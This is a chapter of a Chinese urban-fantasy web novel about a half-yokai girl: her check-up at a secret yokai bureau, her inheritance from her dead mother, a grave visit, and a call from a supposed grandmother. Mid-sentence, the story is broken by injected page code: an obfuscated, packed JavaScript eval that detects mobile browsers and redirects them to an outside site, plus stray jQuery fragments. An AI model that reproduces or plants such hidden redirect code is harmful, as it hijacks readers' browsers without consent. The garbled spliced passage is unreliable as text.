接下来几天的拍摄进行的很顺利。
市内的戏份基本完成，接下来整个摄制组要转战市郊，在一处半山别墅继续拍摄。拍摄预计持续一周，出发前，许澜给所有人放了两天假。
第二天正好是余淼淼的生日，她去赴王烁的约。
地铁转公交，在市中心的行政大楼停下，工作日，大楼里人来人往，热闹非凡。
在这栋看似普通大楼里，存在普通人永远无法到达的楼层。
【指纹认证通过、虹膜认证通过，嘀——余淼淼，上午好。】
伴随着冰冷的机械音，大门打开，露出【A市妖物及精怪事务部】的标识牌。
余淼淼走入室内，里面是一派各司其职的热闹场景。
“Q3就给舆情中心批这么点预算！安抚民众不要钱？采购遗忘剂不要钱？买水军不要钱？我绝对不签字！”
“江岸区又发生了妖怪斗殴事件！没有普通民众围观，那就好，被你打晕了！举报奖励……我试着给您申请一下，感谢，我立刻派人过去……”
“想要进入执法司，请关注我们定时发布的招聘公告呢，特招？臭鼬？毒气攻击？不好意思，没有这方面的需求，会英文也不行呢~”
余淼淼看了眼时间，离和王烁约定的十点还差一小时。于是决定先去做体检。
熟练地穿过形形色色的人群，来到最深处挂着【技术发展司实验室】牌子的门前。
轻轻扣了扣，里面传来清亮的声音，“稍等！”
片刻后门被打开，一个长着毛茸茸火红耳朵的女生站在门后。
看见来人，她很惊喜，“淼淼，不是明天复检吗，你怎么今天来了！”
余淼淼走进去，“明天我要离开一周，提前来做。”
“顺便做个全身检查。”
之前压制猫咪的发情期，还是她第一次因使用妖力而变回原形，她有些担忧身体指标。
“没问题。”女孩胡璃歪头比了个OK，那双毛茸茸的大耳朵也跟着晃了晃。
抽血、拍片，结果很快出来。
女孩拿着一沓报告蹦蹦跳跳过来。
“淼淼，体检报告出来了，有几个数据还是得注意一下。”
余淼淼认真对比一项项数据，“细胞异化率好像变高了。”
“哎呀，这个属于正常浮动，不会影响你考妖监委的！”
女孩指着另外几行数据，“这几个比较重要，血脉融合度、还有妖力浓度都下降了，这可关系到身体健康。”
“你最近有没有使用妖力后，感到身体疲惫的现象？”
“还好。”
余淼淼不大在意的样子，没有说出用妖力压制小金发情期的事。
一个抱着试管的年轻实验员路过两人，瞥了一眼报告。
揶揄道：“这么低的数据，后面加个零也考不上我们实验室，也只能考考妖监委了。”
“王！大！鹏！”
胡璃一字一句的念出实验员的名字。
她猛地把报告合上，站起来冲王大鹏骂：“一天天的，就知道碎嘴，你很闲是不是？”
“试剂瓶都洗不干净的人，还有时间在这里瞎逼逼！”
“除了妖力高点，你还有什么能耐？”
“姐，姐，我错了。”王大鹏赔笑。
“现在知道错了？”胡璃冷笑，“这次实验报告，你要是再写的跟屎一样，猜猜我会不会捞你？”
王大鹏彻底慌了，“别呀胡璃姐，我真的知道错了！”
可胡璃已经拉着余淼淼去会客厅了。
她向余淼淼道歉：“淼淼，不好意思啊。”
“新来的？”余淼淼问。
“嗯，刚来没两个月。”胡璃嫌弃道：“妖职专毕业被分配来的，啥也不会，仗着自己妖力高，就爱到处炫耀。”
“妖监委对体质的要求是不高，但其他要求，他连个门槛都摸不上，也好意思笑。”
妖职专对文化方面的要求极低，看来选拔标准，好像又调整了……
余淼淼暗忖。
“不说他了。”
胡璃拿出另一份报告，“这是月华露项目的复检报告，你看看。”
月华露，是技术发展司通过研究妖怪内丹成分制作的一种妖力恢复药剂，目前正处在实验项目阶段。
项目内容是，能否通过持续服用月华露，帮助妖怪重塑内丹。
一般的妖物和精怪通常是有内丹的。
内丹是妖怪的力量源泉所在，能够高效率地吸纳天地间的灵气，转化为妖怪体内的妖力。
一般来说，打架比较厉害的妖怪都有一颗又大又漂亮的内丹。
失去内丹的原因多种多样。
有跟别人打架碎掉的啦、有被人骗走的啦、有修炼功法融掉的啦。
余淼淼就比较特殊：她天生就没有内丹。
至于原因，也很简单。
她的父亲是妖怪，母亲则是纯粹的人类。
人妖结合，孕育出的后代几乎不会继承妖怪血脉，就是普通的人类，她则是少数的例外。
因此，她成为了这个项目组最受重视的一位参与者。
这个项目的流程很简单，每周定期服用月华露，每月复检，观察内丹是否有凝聚迹象。
“淼淼，你的复检结果不太理想。”
胡璃指出报告上的几项数据，“所有的数据都显示，未能检测到内丹生成迹象。”
她踌躇片刻，又说：“这个项目持续一年多了，13个被试的效果都不是很理想，听说两个月后就要砍掉。”
说罢，她小心翼翼地观察余淼淼的神色，但那张苍白的脸上没有任何失落或颓丧的迹象。
余淼淼点头，“我知道了，有类似项目的话记得通知我。”
她和其他参与者的情况都不一样，对于凝聚内丹这种事，根本没有期待。
之所以参加相关项目，不过是为了免费获得补充妖力的药剂。
离开前，余淼淼顺便取走了新一周的月华露，胡璃偷偷给她增加了50%的剂量。
女孩狡黠地冲她眨了眨眼，“月华露之前生产了很多，反正这个项目不长了，之后也是放在仓库里积灰，不如给你，我知道对你有用。”
离开前，胡璃叫住余淼淼，“对了，还有件事。”
“我们司这周上线了一个大数据寻妖系统，所有涉及抽血的检查默认将血脉信息存入系统。”
“虽然你是孤儿，但说不定能找到远方亲妖呢！”
余淼淼嗯了一声表示知悉，对于胡璃的第二句话却没有回应，推门出去了。
差不多十点，她在密密麻麻的通道和办公室之间绕来绕去，找到【教育司】的牌子。
她走进去，说明来找王科长，有人去通报，不多时，一个微胖的中年男人夹着文件
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139221|180406||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
袋跑过来。
“淼淼，久等了哈。”
王烁长得白净，圆脸笑眯眯的，“我们去会议室谈。”
会议室里，王烁把文件袋里的合同抽出来，递给余淼淼。
“签了合同后，这笔钱就完全属于你自己了。”
又补充道：“但是钱还放在信托里面，三个月后到期，才能取出，这些年的收益还不错，扣掉服务费一共四百三十多万。”
余淼淼翻开合同。
【余见青女士因车祸离世，所获赔偿金叁佰万圆整全数交由……】
她没有看那些庞大的金额，而是在第一行【余见青】三个字上停留了许久。
之后的内容快速扫过，余淼淼在最后一页签了字，对这一大笔钱没有流露出丝毫的心动。
处理好所有的手续，已经将近十二点，她走出教育司的大门，身后有人喊住她。
“淼淼，等等！”
王烁匆匆跑过来，额头上全是汗，“请个假真麻烦，你是去看你妈妈吧。”
“我也有一段时间没去过了，跟你一起去。”
余淼淼没有拒绝，两个人买了些鲜花，开车往城郊的公墓去。
余见青的墓地在墓园的深处，两个人走了十分钟才到。
墓碑很陈旧，边角已经有了不少破损，然而很干净，没有青苔或蛛网，显然是被人经常打扫的。
她用抹布把墓碑上的一层薄灰擦干净，先是边缘，最后是中间的照片。
这张照片是余淼淼4岁时，余见青拍的两个人的“全家福”，当时谁也想不到，它会被单独裁出来当做遗照。
光看照片，谁也猜不出来，这个明媚朝气，笑起来眉眼弯弯，看上去没有任何忧愁的女性，是个丈夫失踪，独自抚养四岁孩子的母亲。
墓碑上，女人灿烂的笑鲜活如同昨日，余淼淼定定地望着，忍不住去触碰，然而摸到的只是冰凉的石板。
离开余见青的时间比和她在一起的时间要长得多，两个人一个永远停留在30岁，一个不断长大。
现在她们相似的眉眼看上去不像母女，却像姐妹。
她反复地擦拭着照片，直到那处光洁如新，才停止，嘴唇无声蠕动，喊：“妈妈。”
王烁把墓地周边一群冒头的杂草拔干净，捶着腰过来。
“好久没运动过，累死我了。”
他站定，看着照片上的人，感慨道：“妹子，淼淼今天成年，以后就算是大人了，你在地下也能安心了。”
“不对，这世上既然有妖怪，那也许有投胎转世，你妈妈说不定已经投胎到好人家享福了，听不到我的话，哈哈。”
王烁观察着余淼淼的神色，他说这话是为了宽慰对方，但看着她那没有表情的脸，尴尬的笑声慢慢停了。
这时候，余淼淼的手机铃声响起，她挂了没接，但电话一个接一个，锲而不舍地响着。
她不耐地接通这个陌生电话。
“喂，你是谁？”
“请问是余淼淼吗？”电话里是个老人的声音。
余淼淼皱眉，她确定自己不认识对方。
“我是，有什么事？”
“淼淼，我终于找到你了，我是外婆呀！”
老人的声音慈爱又激动，还带着点哭腔，蕴含着对余淼淼浓浓的想念。
可余淼淼脸上却没有丝毫动容，她攥紧手机，眼神中流露出几分冰冷。